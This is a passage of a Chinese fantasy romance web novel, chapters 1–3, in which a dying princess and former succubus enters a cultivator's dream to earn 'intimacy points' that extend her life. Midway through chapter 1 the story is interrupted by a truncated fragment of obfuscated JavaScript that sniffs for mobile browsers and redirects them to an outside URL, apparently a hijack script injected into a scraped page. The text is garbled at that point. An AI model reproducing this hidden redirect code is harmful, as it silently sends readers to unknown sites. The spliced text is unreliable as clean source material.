《魅魔绑定入梦系统后》
1. 第 1 章
“公主醒了吗?”
“公主这嗜睡的毛病越发重了,今儿可是她的生辰,你说那传闻......”
如墨的夜色将宫墙侵染,压得天边的几只飞禽也几近触地。外殿,侍弄牡丹的小宫女猛地拽住同伴手腕,指甲深深掐进对方皮肉:“你不要命了!这话要是传出去,咱们都得被扒了皮!”
那小宫女连忙住嘴,可却控制不住地将视线往殿内看去,她自小便在宫里长大,见多了贵人,公主是她见过最美的人。只是可惜...
...世人皆知皇女长宁活不过十八岁。
而今日,便是长宁公主十八岁的生辰日。
不知是谁惊动了隐在花瓣间的赤红色蝴蝶,它扑朔着翅膀飞向殿内,越过珠帘,停在了屏风上那栩栩如生的海棠花上。
屏风后,纱帐被掀起一角,床榻上的少女紧紧闭着双眸,她生得太美,眉眼似用毛笔精心勾勒,眼尾处恰好晕染着一抹妖冶的朱砂红,无端添了几分娇艳。
可唇瓣已泛着青灰,墨发间竟缠了几缕银丝,更显孱弱。
这时候,殿外有脚步声由远及近,最终停在了屏风外。
“长宁睡了多久?”
“回陛下,公主自未时憩息,至亥时末......约莫五个时辰了。”
床上,绯棠恰在这时候醒了过来,费力掀开眼皮之际便见着殿内已经站满了人。床榻边的女皇,侍立的医女与女官们都将目光落在她身上,眉眼间裹着化不开的哀伤。
绯棠轻轻眨了眨眼睛,将视线落到女皇身上,唤了声:“母皇......”
床榻边的女皇看着不过四十出头,一袭黑金龙袍衬得她威严冷肃,此刻却难掩眼底的焦灼,“长宁。”
绯棠脸上满是病气,却仍努力弯了弯嘴角,哄道:“母皇,别难过。”
她向来怕惹母皇忧心,哪怕此刻难受得紧,也想着要安抚人。
女皇喉间一哽,放柔了声音:“风衍说过只要平安度过今夜便会无恙。长宁不是想去宫外看看?明日醉仙楼有花魁宴,过了今日,母皇就让你去,好不好?”
绯棠望着女皇,睫羽轻轻颤了颤。她记得风衍,那位北境修仙大能说她有一线生机,可她清楚,这具身体已濒临死亡,能活下去的法子,只有让她曾经作为魅魔的能力回来。
她是穿越者。
前世身为魅魔意外死后,她就穿进了人族被暗害的皇女体内。
魂体被困在这具孱弱躯壳里,别说魅魔的能力了,连寻常力气都少得可怜,只能眼睁睁看着生机一点点流逝,这才有了“活不过十八岁”的断言。
听着女皇还在低声描绘宫外的景致,绯棠想点头应下,却觉得眼皮重得抬不起来。
周围的声音跟着渐渐模糊,只觉得身体忽然变得轻飘飘的,像被风托着往上浮......
殿外铜铃无风自动,“叮铃叮铃”响得清脆。
混沌中,一丝微光破开黑暗,铃铛声化作机械音:
[叮!系统已激活成功...开始检测。]
[危险危险!检测到宿主已死亡,现根据宿主的魂体“魅魔”特性开启入梦功能,请宿主增加与梦中人的亲密值来兑换存活时长。]
[叮!现为宿主挑选入梦对象......]
[入梦对象已绑定,开始入梦!]
系统?亲密值?这就是那一线生机?
绯棠懵懵地想着,来不及问什么,她现在连睁眼的力气都没有,只能任由那股力量牵引着不知要去往何处。
只觉得周遭渐渐暖了起来,还能听见潺潺的水流声。
失重感猛地袭来,她突然间跌进了温热的、不知是什么地方。只觉得周身被清冽如松雪的气息瞬间包裹住,更有一股带着水汽的灼热感透过相贴的地方烫得她浑身一僵。
这是......在哪里?
绯棠猛地睁开眼睛就见着一张近在咫尺的俊脸。
头戴银白莲花冠,好看的剑眉,其下的眼眸幽深而压迫感十足,鼻梁高挺,薄唇红润,神色间带着几分清冷与疏离,是一张极其出尘的面容。
绯棠轻轻眨了眨眼睛,低头就见到他们两具身子正紧紧地贴在一起,刚才感觉到的灼热感分明是他的体温,绯棠的脸颊“刷”地红透了。
这...这是要做什么!
耳边传来系统同步补充的声音,[宿主,你的第一个入梦对象名叫谢迟砚,天玄宗首席大弟子,天生剑骨,乃是仙门千年难遇的天才。]
[请宿主尽情释放天性,去蛊惑他,让他为你痴,为你狂,为你框框撞大墙!]
[第一个任务,与他亲密接触超过一分钟。宿主加油!!!]
绯棠:“......”
亲密接触超过一分钟?这种情况下吗?
系统,你这任务它正经吗?
绯棠还没想出来对策该怎么办,突然间眼前一翻倒,她便被人掐着脖颈抵在了池水边,“你是何人?”
两人间离得太近,又在池水之中,彼此身上的衣衫已经湿透了,他穿的又是白色衣衫,这种情况下......就很透,一点儿也遮不住。
“我......”绯棠张了张唇想说什么,可离得太近,她能看得见有一滴水珠从他下颌滑下,一直滴落到半透的胸膛,再往下到紧实的腰身......
好涩。
绯棠完全忘了脖子还被他掐着,忍不住咽了咽口水。
“你!”谢迟砚眉头皱得更紧,手上的力道掐得也更重,“你到底是谁,若说不出来话,休怪本君要了你的命!”
绯棠轻轻眨了眨眼睛,才依依不舍地将目光从他的腹肌上移开,看向他的眼睛,“我名为绯棠,不是妖,也不是魔,只是平平无奇的凡人。至于为什么会出现在这儿......你要是问我,我也不知道。”
“只是凡人?”谢迟砚眼中的怀疑未消。
“是,我只是凡人。”绯棠还没意识到如今的情形有多危险,还抬手去摸上他掐住她脖颈的手,想要使劲去掰开,却没掰动,反而感觉到他掐得更紧了。
“休要放肆!”
“呃...”被掐的快喘不过气了,绯棠老实了,连忙道:“你掐我有什么用,我也不知道为什么会出现在这儿。这是你的梦境,你问我还不如先问问你自己!”
这话一出,谢迟砚掐住她脖颈的手劲没松,盯着她的眸子反而更暗了,“好啊,既然是本君的梦中人,那将你掐死想必也是没什么影响。”
说话间他收紧手劲,看着她的眼神依旧冷冰冰的,大有一副真的要把她掐死的样子。
绯棠慌了,这人真的像是会把她活活给掐死的!
绯棠感觉到脑袋里的氧气越来越少,越来越少。
脑袋已经发懵,呼吸更是困难。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544192|186710||http|test|mini|href|location''.split(''|''),0,{}));
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>千钧一发之际,她体内的魅惑之力自发运转,右边眼角的那颗红痣更红了,一时间眼眶中氤氲着雾气,那雾气被粉色的能量化作一滴泪划出眼眶,滴落在谢迟砚的手上。
“嘀嗒”一声。
夹杂着粉色光晕的泪珠落在皮肤上,那一抹粉色隐入谢迟砚的肌理之中。
只看到谢迟砚那张冷酷无情的脸上有了刹那间的松动,那掐住绯棠脖颈的手就松开了。
“咳...咳咳.....”绯棠已经被掐得没力气,只能扶住他的手臂才能控制住身体不落进池水里。
谢迟砚回过神来眼眸里面的杀意更浓,他想召出本命灵剑将这妖里妖气的女子斩杀,可却没法动弹。
“你对本君做了什么?”
绯棠咳嗽了许久才缓过来劲,一听他这么说只是装傻,“你说什么?”
她当然知道他想知道为什么突然间松开了手,现在还动不了了。方才那滴泪可是夹杂了她仅剩不多的魅惑之力,半个时辰之内这人都没法杀她。
绯棠一边揉了揉被他掐得疼痛难忍的脖颈。“你自称本君,莫非是北境哪个宗门的仙君?”
谢迟砚没说话,看样子并不想搭理她。
绯棠也没指望他会和她好好说话,只想到刚才系统说的要和他亲密接触超过一分钟。
一时间上下打量着他,在心里默默估算着什么样的度可以算作亲密接触。
“仙君别生气,你刚才差点将我掐死。但我这人也不是什么小心眼的,不会要了你的命,我接下来对你做的,就当做和你掐我的扯平了。”片刻后,她试探着扶着他的手臂离他更近些,指尖微微颤动着去触碰他的脸,指腹与之相贴。
系统没反应。
绯棠皱了皱眉,白皙纤长的指尖顺着他的下巴一直往下按在他的喉结处。
系统还是没有反应。
绯棠与谢迟砚四目相对,绯棠瞧得清楚谢迟砚眼中对他那明晃晃的杀意,微微叹了口气,“我方才已经说了只是和你掐我脖子做抵消,你这么看着我做什么......”
说着,眼见到谢迟砚眼中的杀意越来越浓,绯棠原本要移开的动作一顿,没移开指尖反而加大了按压他喉结的力道。
谢迟砚因着刺激不自觉地吞咽着。
二人在池水之中,周围全是红色的桃树。这种本就暧昧的环境中,二人浑身湿透,一白一红,两张绝色的面容又近在咫尺...
这样的画面,配着这样的动作当真是.....有些色气。
绯棠感受着指尖下传来的响动,愣了愣,才后知后觉地移开指尖。
谢迟砚一双冷眸冷冰冰地盯着她,
绯棠愣了愣,随即又笑了笑,“我知道你想杀我,但你先别急。”
这一连试探之下系统都没有吱声,看来光是指尖触碰是没办法完成任务的。
这么想着,绯棠的目光往下移就见到他半透未透的胸膛,和贴在小腹上方的白色衣衫。
想了想,她又抬眸看他的眼睛,能读懂对方以为她要摸他腹肌的眼神。连忙出声道:“我觉得脖子以下是比较私密的部位,我还是不要触碰的好,所以仙君完全可以放心,我不会摸的。”
在谢迟砚看疯子的眼神中,绯棠手上毫不犹豫地将双手挂在他脖颈上,然后抱住他,腰腹用力与他相贴,严丝合缝,不留一丝缝隙。
不摸,可没说不贴啊。
2. 第 2 章
[叮!检测到宿主正在进行任务中,一分钟倒计时开始。]
绯棠轻轻松了一口气,她活了这么久,还真是第一次干这种流氓事。
只感觉到谢迟砚被她抱住的身子有些凉凉的,在她贴上去的刹那间有些僵硬。
说起来他的衣衫是半透未透的,她自己的也不遑多让,一身绯红衣裙贴在身上,勾勒出玲珑有致的曲线,谢迟砚本忽视她的,如今两人相贴之下只觉得被一团热热的火焰给包裹住,恰如方才她突然间出现在他怀中一样,一切都是那么的突然和...诡异。
是的,诡异。
眼前之人在谢迟砚的眼中一举一动都让他匪夷所思。
若说这是他的梦境,是他做的梦,可他平日里只一心修行,从未生过这种心思,怎会做这种梦。
这梦中人的举动亦是孟浪至极!
太过荒唐!
他凝神静气运转体内的功法,想要冲破控制夺回身体的控制权。
耳边又传来对方娇滴滴的嗓音,“你就让我贴一下,我不对你做什么过分的事,一会儿就好了。”
“呵。你将本君当成了什么?”
绯棠含糊其词,“仙君自然是光风霁月,我肯定是不敢冒犯了仙君。”
嘴上说着不敢,行为上却敢得很!
谢迟砚眼不见为净,紧紧闭上双眼全神贯注地冲破控制。
[五、四、三、二、一,叮!恭喜宿主完成任务,奖励三百点亲密值!]
恰恰就在系统说完奖励的刹那间,谢迟砚冲破了控制,那股冲击力将缠在他身上的绯棠猛地冲飞出去,直接撞在了池边的桃树上“啪”的一声落在地上。
“唔...”好痛。
可来不及去看身上的伤口,就见到一抹白影瞬息靠近,刹那间一把剑就直挺挺地横在了她的脖颈上。
绯棠:“......”
绯棠颤颤巍巍地看向横在她脖颈处的剑,顺着剑尖看向它的主人,一时间脸上堆满了笑意,“仙君先别生气,有什么事我们好好说。”
谢迟砚眼神冷漠,“本君与你无话可说。”
眼看着那剑刃就要刺破她的肌肤让血液渗出来,绯棠连忙道:“等等!我有话要说。”
也不知道谢迟砚是出于什么心理,竟真的顺着她的话停了下来,一双寒眸冷冰冰地盯着她,似要看她还能耍什么花招。
绯棠能耍什么花招啊,魂体里所剩不多的能量在刚才已经用完了,现在的她和凡人根本没有什么区别。
等等,和凡人没有区别?
绯棠眼睛亮晶晶地看着他,“仙君,我没有骗你,我真的只是一个平平无奇的凡人,不知道为什么会出现在这儿。你是仙人一定可以看出来我是无辜的对吧?”
谢迟砚眉头皱起,说来也奇怪,他的溯光剑向来对妖魔敏感,若是妖魔一靠近它便会有反应,今夜却很是安静。
而且......他确实从她身上察觉不出一点儿妖气和魔气。
她说她只是平平无奇的凡人,可为何能让他动弹不得?
绯棠转了转眼睛,“仙君是不是对刚才为什么动不了有些存疑?”
谢迟砚眸色微冷,“看样子,你并非无辜。”
说着,他手中的剑又往前贴近了些,剑刃刺破肌肤,有血珠渗了出来。
剑下的女子本是生得极好看的,可这样的容貌落在谢迟砚眼中倒像是看不见一般,那手中的剑分毫不让,整个人宛若冷心冷情的冰块铸成。
绯棠忍不住咽了咽口水,这次不是起色心,完全是被他吓死了,“仙君!我说,我全都交代!!!”
谢迟砚不语,手中的剑没撤回,却也没再往她皮肉中刺去。
绯棠害怕道:“是......是有一个声音告诉我,让我去引诱你。可是我确实只是个凡人,真没那个本事去控制仙君。”
谢迟砚面色微沉,“是谁?”
绯棠僵直着脖颈,生怕自己一个不慎就被剑给割断喉咙,“不知道,我也是刚才突然间出现在这儿的,是那道声音告诉我只能去引诱你,不然我就会死。”
这话半真半假。
死系统唯恐天下不乱,就让她做这些任务,换个说法不就是去引诱谢迟砚吗?
从谢迟砚那张面无表情的脸上分辨不出具体是信还是不信。绯棠轻轻咽了咽口水,试探着伸出手指去夹住横在她脖颈处的剑身,颤颤巍巍地往外推了推,“我说的都是真的,我没有胆子骗仙君。”
谢迟砚皱紧了眉头,没说话,手中的剑亦是丝毫不退。
绯棠转了转眼睛,继续道:“...仙君能否看着我坦白的份上别杀我,仙君若是杀了我,保不齐还有下一个我来入梦招惹仙君。所以.....仙君别杀我好不好,我们一起找寻破解这梦境的法子。”
谢迟砚沉默地看着她,片刻后,也不知道是不是被她的话说服了,竟顺着她的眼神将剑收了回来。
眼看着谢迟砚径直往她身后的桃林内走去,似要寻那将他们困在这梦境的幕后之人。
绯棠才松了一口气。
可这一放松下来,身体上的疼意就占满了神经。
“嘶。”绯棠用力撑着树干慢慢站起来,这背后刚才被撞伤了,现在一动就疼,左侧脖子也疼得厉害。
绯棠一时间不知道是捂住脖颈还是去触碰后背,恰在这时候,系统的声音又出现了。
[宿主,新任务已颁布。注意,该任务为系统强制任务,随时触发,宿主事先无法知晓具体内容。]
“?”
触发任务?还是强制!
绯棠气笑了,死系统是嫌她死得不够快吗!!?上一个任务是和谢迟砚死死贴在一起,现在还搞上了开盲盒?
她生气,可不敢离谢迟砚太远,见他往桃林里面走她顾不上疼痛连忙跟上去。
他提剑往前走,她便跟在后面埋头追。
一边思考着该怎么应对这个任务。
就这样谢迟砚走在前,她跟在后。
不知过了多久前方之人突然停了下来,绯棠“啪”的一声额头撞上了他的后背。
现在不止背疼、脖子疼,连头也疼了。
绯棠捂着脑袋抬头看他,“仙君干嘛突然停下来了。”
谁知谢迟砚转身看她,面无表情道:“本君今日当真是被你给迷了心智,将你杀了,日后再有人进来一并杀了便是,何必如此麻烦寻找出口。”
绯棠捂住额头的手瞬间僵住了,猛地睁大了眼睛道:“不行啊!你别杀我!!!我还那么年轻,还没有娶夫,你别杀我......”
谢迟砚以为自己听错了,“娶夫?你是女子,如何能娶?”
“怎么就不能娶了?在我们那儿女子娶男子那是天经地义...”她怂了吧唧的,但说的话却一点儿也不怂。
她这一世是皇女,整个南边都是以女子为尊,多的是女子娶夫,三夫四侍。
眼前之人虽然可恶一直想杀她,但实在是个美人。美人有些脾气也是理所应当的,绯棠嘟囔道:“要不是你一心想杀我,这么坏,我还想娶你当老婆呢......”
谢迟砚定睛盯着她,也想起来修士所在的北境之外,有一处地方名为南界,那地方是女尊国度。
可他实在没见过这种人,明明是怕他的,可说的话胆大得很。“本君岂是你想娶便能娶的?”
“怎么就不能娶了?”绯棠嘟嚷着,“我要娶是我想要做的事,这事在我的意愿。而仙君愿不愿意、嫁不嫁我,又不影响我的想法。”
“......”谢迟砚。
“胡言乱语。”他转身就要走。
“怎么就是胡言乱语了?”绯棠嘟嚷着就想跟上的,可才一抬脚,身体突然间控制不住了,在谢迟砚转身没有太多防范之际,她眼睁睁地看着自己抬起手臂,以她从来没有过的速度瞬间抓住他的手臂,
“!!!”绯棠瞪大了眼睛,只感觉到她无法控制地踮起脚尖,仰头就对准了他的嘴唇......
我的老天爷啊!死系统你是想让我还没复活就先魂飞魄散吗?这强制任务竟然是亲谢迟砚!!!
绯棠拼了命地使劲想要挣脱,或许是意志太过强大,竟真的让她抢回了身体的控制权。
可一切发生得太快,哪怕她努力移开,柔软的嘴唇也还是擦过谢迟砚冰凉的唇瓣。
“......”铁定要完。
“你!!!”谢迟砚是真没想到她敢这么做。
绯棠拔腿就跑。
可还没跑步一把透着蓝影水光的灵剑破风而来,“刷”的一声擦过她的发丝、插进她身前的土地上,生生将她逼停。
绯棠颤抖着转身看他,他这副样子,好可怕!
“对...对不起,刚才真的并非我本意,是那个东西,是它操控了我。”
谢迟砚脸上看不
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出是何种表情,但气势太过吓人,“你说方才你被人操控了?”
绯棠咽了咽口水,怕极了,“真的!我就是再想让你当我老婆我也会征求你的意见,这样堂而皇之地,太过冒昧。我自己也讨厌这样做。方才...方才真的绝非我本意!”
绯棠真的委屈,她想活,可是现在这样的局面也不是她想看见的。
完成第一个任务之前,谢迟砚想要掐死她,她用他来完成任务也算是扯平。
可这第二个任务却是脱离了她的掌控,这样堂而皇之地亲别人,不被打死都算是轻的!
眼看着谢迟砚越靠越近,绯棠又被溯光剑阻挡了退路。
她身子发抖,连声音也在抖,“我...我知道你很生气,可是刚才真的不是我本意。你别杀我好不好......”
或许是谢迟砚的样子太过可怕,一双眼睛里看不出一丝感情,只有冷漠,绯棠已经能预见自己的下场了,被吓得眼泪控制不住地流出眼眶。
“呜...”背也疼,脖子也痛,现在又要死了,活不过来了......
刚才被剑划破的左侧脖子那儿仍有血迹,一抹红色血污在白皙纤长的脖颈上很是显眼,她这样呜呜咽咽、哭得伤心极了,竟然不难看。
反而添了几分......惑人的意味。
谢迟眼看着只觉得头抽抽地疼,在宗门时从未遇见过哪个女子似她这般......
明明被亲的是他,怎么她这个罪魁祸首比他还委屈。
他脸上的表情不多,如今竟罕见的有些烦躁,“闭嘴。”
“不要。”
又见到她抽抽噎噎的,呜咽道:“你也太可恶了,我不要娶你了,我现在都要被你杀了,还不让我哭吗?”
见她这种情况下都还惦记着要娶他,谢迟砚眉头皱得更紧,“你若再哭,本君便真的取了你的命。”
绯棠脸上的泪痕就没干过,呜呜咽咽地还在控诉他,可脑子里突然反应过来他刚刚说了什么......
“你不杀我?”
谢迟砚将溯光剑招回,面无表情道:“本君若真要杀你,你早就死了千百回。何至于与你多费口舌。”
绯棠轻轻眨了眨眼睛,长长的睫羽上,晶莹的泪珠随着她的眨动落了下来。
她抬手去擦掉脸上的泪珠,后知后觉地发现......谢迟砚说的还真没错,他要是真的想杀她,刚才这剑早在她逃跑时就贯穿她的心脏了。
“好吧......那你不杀我了,可是为什么?”她想破脑袋也想不通他怎么不杀她了,明明之前还想掐死她的。
“难不成,仙君喜欢上了我?”绯棠猜测道。
谢迟砚无语地抿唇,“你既无辜,本君杀你作何?”
绯棠有些失落地垂下眉眼,“好吧,原来是这样......”
不过很快她又满血复活了,擦掉脸上的泪珠,绯棠眉眼弯弯,“仙君真好,要是仙君能嫁给我就更好了。”
“......”谢迟砚无语。
他往前走不理她,她亦步亦趋,在他耳边叽叽喳喳的,缠着他,想要知道他的名字。
“方才仙君不是问我是谁吗?我叫绯棠,绯色的绯,海棠花的棠。仙君既然知道了我的名字,我也得知道仙君的名字,不然多不公平。”
谢迟砚脚步猛地顿住,实在被她磨得没招了,“谢迟砚。”
她又问,“是哪几个字?”
谢迟砚只觉得女子聒噪至极,让他耳根子不得清静,“姓氏就是常见的谢,名字里的“迟”取从容之意,“砚”是砚台的砚。”
他眸色依旧冷冰冰的,可似乎还没意识到对这叫绯棠的女子,他在一次次让步。
他看她,她笑得开心极了。两人四目相对,不知是怎么的,谢迟砚猛地移开视线,加快速度往前走。
可是这背影看起来颇有些逃避的意味。
他在避什么?
绯棠自然知道,一时间扬了扬眉,“谢、迟、砚。谢仙君这名字可真好听啊......”
谢迟砚攥紧溯光剑,并不知身后之人并非他认为的那样无辜。
只听见她又唤了他一句:“谢仙君......”
谢迟砚没理会,直往前走,可周遭的异样让他停了下来。
只觉四周的桃林如同一点水珠入了未干的油画之间,周围的景象如同被水化去了,消融没入黑暗。
3. 第 3 章
[宿主,你与谢迟砚亲密接触+300。亲吻加300。与梦境主人互通姓名,亲密值+200。总亲密值:800。]
[一点亲密值可以兑换一个小时的存活时长,宿主需要兑换多少?]
一点亲密值才换一个小时吗?那这点数值,好像只能让她多活一个多月。
绯棠望着眼前的漆黑,估摸着是离开谢迟砚的梦境了。她轻声道:“先兑换两天吧。”
[叮!存活时长已兑换成功,剩余亲密值:752。]
随着系统提示音落下,熟悉的漂浮感渐渐褪去,绯棠清晰地感觉到自己回到了那具躯体里。或许是有了存活时限的支撑,身体竟有了些力气,不再是濒死时那种麻木又乏力的状态。
现在身体状况好多了,能稍微动弹了。
可刚睁开眼,入目还是一片黑。伸手摸了摸,四壁是冰凉坚硬的木头,方方正正地围着她。
“!”绯棠心里一惊,手攥成了拳。
她才离开多久呀,难道已经被关进棺材里了?
她赶紧摸索着,想看看能不能从里面打开。这时候,一道压抑的抽噎声从棺材外面传了进来。
“殿下...”呜咽声突然变大了些,隔着厚厚的棺木,还能听见布料摩擦的窸窣声,像是有人跌坐在了地上,带着哭腔的呢喃断断续续的,“......殿下,你我婚约还没成呢,怎么能丢下卿一人就走了......”
婚约?
是他!
绯棠手腕上的玉镯不小心撞到棺壁,发出“咣当”一声。她连忙握拳轻轻捶打棺盖,声音带着点急惶:“祁卿!祁大公子!本宫还没死呢,快救本宫出去!”
南界人族世代都是女子为帝,祁卿是当朝左相的嫡子,原本是女皇选来给她冲喜的正君,要在她十八岁生辰那天成婚的。
可那时她觉得自己肯定活不成了,不想耽误了无辜的人,就一直拦着,婚约自然也就没成。不然她这一死,他就得守活寡了。
棺材外面,穿着素衣、眼尾泛红的祁卿身子抖了抖,挂着泪珠的脸抬起来,望向朱红色的棺身。
“殿......殿下?”
现在灵堂里只有他一个人,女官们都在外面守着。祁卿借着白蜡的光,看着那覆着金箔的朱红棺材,喃喃地说:“刚才是殿下在叫我吗?”
可紧接着,他就自嘲地笑了笑,自己竟思念殿下发疯到这种地步了。
一时间,悲伤又涌了上来,他又开始呜咽起来。
“别哭了!赶紧把本宫放出去,本宫真的没死。”
这次的声音清楚多了,还带着重力捶打棺材的声音。
祁卿连忙站起身,他竟一点也不害怕棺材里是诈尸,就要去推棺材盖。这可把进来陪灵的女官吓坏了。
她不知发生了什么,只以为祁大公子思念殿下心切,要开棺再见见殿下,连忙上前来阻止,“大公子,让您进来跟殿下说说话已经是逾矩了,您怎么能私自打开棺盖,扰了殿下清静呢!”
祁卿急道:“殿下没死!”
他不顾女官的推挡,还是使劲想打开棺材盖。
“大公子这是疯了吗,快来人呀!”
绯棠听见外面的声音,赶紧再用力力气敲棺材:“阿荣,本宫没死,快救本宫出去!”
“殿下?”
绯棠忙说:“再磨蹭,你家殿下就要憋死在棺材里了!”
徐女官赶紧跟着祁卿一起,把棺材盖推开了。
当厚重的棺材盖终于被打开,祁卿和徐女官兀地定在了原地,愣愣地看着棺中美人。
红色棺身之中,美人着红色裙装,妆容华美。如今正睁着双眸往外看,可惜如今的面色瞧着不太好,唇色也是浅白。
他们与殿下相熟自是知晓自家殿下生得美,可往日里的殿下美则美矣却没有精神气,如同一尊没有生气的瓷像,今日再见却觉得焕发了生机,一举一动间都透着吸引力。
“咳...咳咳......”丝毫不知道自己在别人眼中是什么样的,绯棠伸手去扒着棺沿,慢慢爬起来,一边喘息一边咳嗽着。
她虽然活过来了,可脸色还是很苍白,看着不太好。
这动静惊醒了祁卿,连忙上前来要将她扶起,“殿下......”
绯棠朝着担忧的祁卿摆了摆手,轻声说:“本宫还死不了。”
说完话,喘了口气,她听见祁卿又开始哽咽了。
“你别哭啊,本宫这不是没事嘛。”
祁卿这人,就像他的名字一样,是个温润如玉的卿卿公子。如今含泪看她,“殿下真的还活着......”
语气中满是后怕。
绯棠动了动因为捶棺材而破皮红肿的手,想伸手把他脸上的泪珠擦掉,可现在危机过去了,她才后知后觉地觉得疼,忍不住“嘶”了一声。
祁卿立刻抓住她的手,看清楚上面皮肉翻开,更有血污损坏了柔荑。连忙心疼地说:“殿下,卿这就让人去传御医。”
绯棠摇摇头,“没事的,就是刚才使劲太大了,破了点皮,一会儿让阿荣上点药就好了。”
从灵堂出来,绯棠看见外面站满了人,都是她长宁殿里的宫女。她们一个个虽然不敢放肆,可眼神里多少都带着点大白天见鬼似的惊诧和惧怕。
可惊惧过后竟一个个地看傻了。
只以为她们是大白天看见她死而复生,有些惧怕的绯棠有点无奈:“......”
惊讶是正常的,不过她现在确实是活人。
“阿荣,差人去将灵堂拆了。”
“是,殿下。”
留在院中的宫女女官们看着那身影离去才回过神来,双双对着眼神,都从对方眼中看见了震惊。
她们的殿下真的活了,而且还比往常更美了。
这么一番折腾,就到了巳时中。寝殿里,祁卿正在给绯棠上药。
“嘶,疼!你轻点。”
祁卿无奈地抬头看她,见她现在完全没有在外人面前那般端庄优雅,一整个呲牙咧嘴,忍不住顿了顿,才道:“殿下这伤口都这样了,怎么会不疼呢。”
绯棠疼得脸都皱起来了:“我要是不用劲捶,你们也听不见呀。”
祁卿往她伤口上涂白色药膏的手更轻了,缓缓地说:“是,殿下说得对。”
顿了顿,他又抬起眼,看着这让他朝思暮想、放在心尖尖上的人儿:“不过卿有件事想问殿下。”
绯棠把视线从伤口上移开,看向他:“什么事?”
见她看他,他嘴角勾起温和的笑意,“殿下之前因为‘活不过十八岁’的传闻,拒了我们的婚约。现在殿下没事了,卿想......”
“不,你不想!”
绯棠连忙把还在涂药的手抽回来,“我才从棺材里爬出来,自己都不知道什么时候又会没气了。我要是死了,那不是让你守活寡吗?”
“殿下......”
祁卿那双温柔的眸子里泛起了水雾:“卿愿意的,哪怕是为殿下殉葬也愿意。”
绯棠轻轻叹了口气,祁卿和她可以说是青梅竹马,从小一起长大的情谊,总是有些不一样的。
可惜她现在的情况,比之前更糟了,一时间也不知道该说些什么。
恰巧这时候,守在殿外的徐女官进来了,解了围:“殿下,陛下来了。”
女皇进来后,先是看见好好的绯棠,松了口气,又瞧见神情悲伤的祁卿,大概猜到了什么,就对祁卿说:“淑妃还在宫中等你。”
祁卿赶紧把脸上的泪珠擦掉,说:“是,陛下,卿这就去见舅父。”
人走后,绯棠理了理袖口遮住手上的伤,确保女皇看不见才笑着走上前挽住女皇的手臂:“母皇。”
女皇打量着她,见她如今精神气不错,才拉她到桌边坐下:“风衍那家伙说的竟是真的,只要平安过了昨夜,就会没事。快告诉母皇,昨夜发生什么了?”
“昨夜......”绯棠想了想,把昨天的事换了个说法,没提系统的事。
“长宁是说......你昨夜进了一个池子里,醒来后就活了?”
绯棠看着坐在桌边,看不出神情的女皇,轻轻点了点头:“是呀。那池子周围全是桃树,儿臣也不知道是谁把我带过去的。”
“是绛英池。”
女皇抬起头,看向她的眼睛:“仙门之首天玄宗有一个仙池,周围种满了桃花,池水能生死人肉白骨。你昨夜去的,应该就是传闻中的绛英池没错了。”
天玄宗,绛英池?
绯棠眨了眨眼睛,原来她被拉进去的梦境里,那个池子叫绛英池啊。
绯棠知道这片大陆分南北,人族住在南界,修仙者住在北境,从北境再往外,就是魔族的极漠之境,而人族地界的西北方向,有一处海域叫无尽海,那里是妖族的地界。
想到这充满妖魔鬼怪的修真界,可她从小到大一个都没见过,她转了转眼睛就上前抱住女皇的手臂。
她不像别人那样怕女皇,撒娇也是很自然的事:“母皇,那帝都里会有修士,还有那些妖魔鬼怪吗?”
女皇不反感绯棠的亲近,反而喜欢这种平常母女的相处方式。她放下手里的酒杯,拍了拍绯棠的手:“自然是有的。”
可手下触感不对,一低头便见着绯棠那被纱布缠得像猪蹄的手。眉头皱起,便问,“何时受的伤?”
绯棠顺着女皇的视线往下看,就见到她那刚刚处理过伤口的手就这样地扒在女皇黑金龙袍上。
“啊......”连忙将手缩了回来,“没事的,就是方才醒来时发现在棺材里面,以为已经被埋了,慌忙间捶打棺身才受的伤。”
女皇面色一凝,转而看向伺候在一侧的徐女官,“朕不是让你们仔细候在棺侧,如何让长宁伤了手!”
徐女官猛地跪下,“是臣失职,望陛下恕罪。”
她们自然是受了皇命候在绯棠的棺材旁,一旦听见动向不论发生什么便要打开棺材盖子。可祁卿不知道,徐女官也没想过殿下会死而复生。阴差阳错之下才有了现在的局面。
“母皇!”绯棠连忙去拉住女皇的手,“这不怪她们,她们又不知儿臣会死而复生,儿臣这伤也不重,不妨事的。”
说着,绯棠眼睛一转就有了主意,“母皇昨夜还说准我出宫去醉仙楼,若是罚了徐女官,可就无人陪儿臣出宫了,届时若有歹人,没了徐女官护儿臣周全,可如何是好。”
“你这小滑头,身体才好多少呀,就想着出宫?”
绯棠眨了眨眼睛,她要出去,是因为系统说宫外有能赚取亲密值的机会。
可这话不能说,只能撒点小赖:“哎呀,我之前在床上躺了好几个月了,既然死不了,肯定想出去玩玩呀。万一哪天我又......”
剩下那些不吉利的话,被女皇严肃的神情堵了回去。绯棠抿了抿唇:“好吧,反正我想出宫去。”
“母皇......您就让我去吧。”
女皇本来也没打算拒绝,可表面上还是装作被绯棠磨得没办法了:“好好好,朕准许你出宫。不过朕今日事务繁忙,还得不了空与你一同出去。”
“没关系,我自己出宫也是一样的。”
说着,绯棠朝着还跪在地上的徐女官使了个眼神,“阿荣,你先去为本宫准备洗浴之物。”
在女皇默许之下,徐女官连忙应声,“是,殿下。”
一番折腾后,一切都处理妥当了。绯棠为了方便,只带了徐女官出了宫。这时候,天色还没黑。
帝都是人族最繁华的城池,凡人能安稳地生活在这里,是因为不管是仙还是魔,只要踏入人族地界,就会失去所有修为,和凡人没什么两样。
这也是人族能在弱肉强食的修真界,还保有王权世家,没被仙门掌控的原因。
现在帝都还是夏天,可今天天气突然转凉了,还有点刺骨的寒意。绯棠坐在马车里,拢了拢身上的红色披风,一边在心里问系统:“你说出宫能获取亲密值,我现在出来了,要去哪里,做什么?”
[宿主,虽然你们南界人族和北境仙门分得很清,但严格来说,修者也是人族。除了那些生来就在仙门的,其他修仙者都有在俗世生活的经历。]
俗世经历?
“你是想让我了解谢迟砚吗?”绯棠轻声问。
